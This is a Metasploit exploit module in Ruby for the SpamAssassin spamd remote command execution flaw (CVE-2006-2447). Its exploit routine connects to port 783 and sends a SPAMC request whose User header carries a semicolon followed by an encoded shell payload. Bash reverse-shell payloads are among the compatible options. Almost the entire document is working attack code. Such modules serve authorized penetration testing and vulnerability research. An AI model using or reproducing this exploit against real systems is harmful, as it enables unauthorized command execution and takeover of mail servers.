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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'SpamAssassin spamd Remote Command Execution',
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        'Description' => %q{
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          This module exploits a flaw in the SpamAssassin spamd service by specifying
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          a malicious vpopmail User header, when running with vpopmail and paranoid
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          modes enabled (non-default). Versions prior to v3.1.3 are vulnerable
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        },
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        'Author' => [ 'aushack' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2006-2447' ],
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          [ 'OSVDB', '26177' ],
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          [ 'BID', '18290' ],
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          [ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],
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        ],
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        'Privileged' => false,
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        'Payload' => {
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          'DisableNops' => true,
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          'Space' => 1024,
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          'Compat' =>
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                        {
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                          'PayloadType' => 'cmd cmd_bash',
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                          'RequiredCmd' => 'generic perl ruby bash-tcp telnet',
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                        }
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        },
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'Targets' => [
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          [ 'Automatic', {}],
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        ],
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        'DisclosureDate' => '2006-06-06',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(783)
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      ]
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    )
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  end
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  def exploit
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    connect
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    content = Rex::Text.rand_text_alpha(20)
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    sploit = "PROCESS SPAMC/1.2\r\n"
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    sploit << "Content-length: #{(content.length + 2)}\r\n"
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    sploit << "User: ;#{payload.encoded}\r\n\r\n"
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    sploit << content + "\r\n\r\n"
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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